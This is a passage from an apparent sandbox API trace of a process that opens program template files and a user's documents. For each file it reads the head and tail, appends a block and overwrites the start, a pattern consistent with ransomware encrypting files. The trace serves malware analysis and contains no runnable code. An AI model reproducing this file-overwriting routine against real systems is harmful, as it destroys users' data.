lpWideCharStr="XmlFile.zip", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="XmlFile.zip", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XmlFile.zip", lpUsedDefaultChar=0x0) returned 11 [0033.333] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e54528, nNumberOfBytesToRead=0x251, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54528*, lpNumberOfBytesRead=0x32cf2bc*=0x251, lpOverlapped=0x0) returned 1 [0033.334] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0033.334] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de8f68*, nNumberOfBytesToWrite=0x7d9, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de8f68*, lpNumberOfBytesWritten=0x32cf2d0*=0x7d9, lpOverlapped=0x0) returned 1 [0033.335] CloseHandle (hObject=0x1a8) returned 1 [0033.335] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0033.335] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.336] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x36b7 [0033.336] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.336] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.336] ReleaseMutex (hMutex=0x128) returned 1 [0033.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MDIParent.zip", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MDIParent.zip", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MDIParent.zip", lpUsedDefaultChar=0x0) returned 13 [0033.336] ReadFile (in: hFile=0x1a8, lpBuffer=0x2627b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0033.342] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x26b7 [0033.342] ReadFile (in: hFile=0x1a8, lpBuffer=0x2627b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0033.346] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x26b7 [0033.346] WriteFile (in: hFile=0x1a8, lpBuffer=0x2623cd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2623cd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.349] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0033.349] WriteFile (in: hFile=0x1a8, lpBuffer=0x2627b08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0033.349] CloseHandle (hObject=0x1a8) returned 1 [0033.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xJN55Vsi.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xjn55vsi.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0033.350] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.350] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xf806 [0033.350] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.350] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.350] ReleaseMutex (hMutex=0x128) returned 1 [0033.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="xJN55Vsi.xlsx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="xJN55Vsi.xlsx", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xJN55Vsi.xlsx", lpUsedDefaultChar=0x0) returned 13 [0033.350] ReadFile (in: hFile=0x1a8, lpBuffer=0x2621ca8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0033.351] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xe806 [0033.351] ReadFile (in: hFile=0x1a8, lpBuffer=0x2627b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0033.351] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xe806 [0033.351] WriteFile (in: hFile=0x1a8, lpBuffer=0x1deaf48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1deaf48*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.351] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0033.351] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.351] CloseHandle (hObject=0x1a8) returned 1 [0033.353] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CkDL.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ckdl.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0033.353] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.353] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x112ca [0033.353] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.353] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.353] ReleaseMutex (hMutex=0x128) returned 1 [0033.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CkDL.docx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CkDL.docx", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CkDL.docx", lpUsedDefaultChar=0x0) returned 9 [0033.353] ReadFile (in: hFile=0x1a8, lpBuffer=0x2621ca8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0033.354] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x102ca [0033.354] ReadFile (in: hFile=0x1a8, lpBuffer=0x2627b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0033.354] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x102ca [0033.354] WriteFile (in: hFile=0x1a8, lpBuffer=0x1deaf48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1deaf48*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.354] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0033.355] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.355] CloseHandle (hObject=0x1a8) returned 1 [0033.356] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\iDrC ooKiQrOce5.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\idrc ookiqroce5.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0033.356] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.356] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xda87 [0033.356] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.356] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.356] ReleaseMutex (hMutex=0x128) returned 1 [0033.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iDrC ooKiQrOce5.doc", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0033.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iDrC ooKiQrOce5.doc", cchWideChar=19, lpMultiByteStr=0x1e78974, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iDrC ooKiQrOce5.doc", lpUsedDefaultChar=0x0) returned 19 [0033.356] ReadFile (in: hFile=0x1a8, lpBuffer=0x2621ca8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0033.358] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xca87 [0033.358] ReadFile (in: hFile=0x1a8, lpBuffer=0x2627b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0033.358] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xca87 [0033.358] WriteFile (in: hFile=0x1a8, lpBuffer=0x1deaf48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1deaf48*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.359] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0033.359] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.359] CloseHandle (hObject=0x1a8) returned 1 [0033.360] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0033.360] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.360] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x11581 [0033.360] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.360] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.360] ReleaseMutex (hMutex=0x128) returned 1 [0033.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0033.361] ReadFile (in: hFile=0x1a8, lpBuffer=0x2621ca8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0033.364] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x10581 [0033.364] ReadFile (in: hFile=0x1a8, lpBuffer=0x2627b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0033.792] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x10581 [0033.793] WriteFile (in: hFile=0x1a8, lpBuffer=0x2626dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2626dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.793] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0033.793] WriteFile (in: hFile=0x1a8, lpBuffer=0x2620c78*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2620c78*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.793] CloseHandle (hObject=0x1a8) returned 1 [0033.795] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0033.804] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.804] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x101bc [0033.804] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.804] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.804] ReleaseMutex (hMutex=0x128) returned 1 [0033.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0033.804] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c5bd8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c5bd8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0034.013] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xf1bc [0034.013] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dede48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1dede48*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0034.093] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xf1bc [0034.094] WriteFile (in: hFile=0x1ac, lpBuffer=0x1decf18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1decf18*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.094] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0034.094] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.094] CloseHandle (hObject=0x1ac) returned 1 [0034.095] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0034.095] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.095] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x15db2 [0034.096] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.096] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.096] ReleaseMutex (hMutex=0x128) returned 1 [0034.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0034.096] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0034.216] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x14db2 [0034.216] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0034.239] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x14db2 [0034.239] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.240] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0034.240] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.240] CloseHandle (hObject=0x1ac) returned 1 [0034.242] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0034.242] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.243] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1043a [0034.243] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.243] 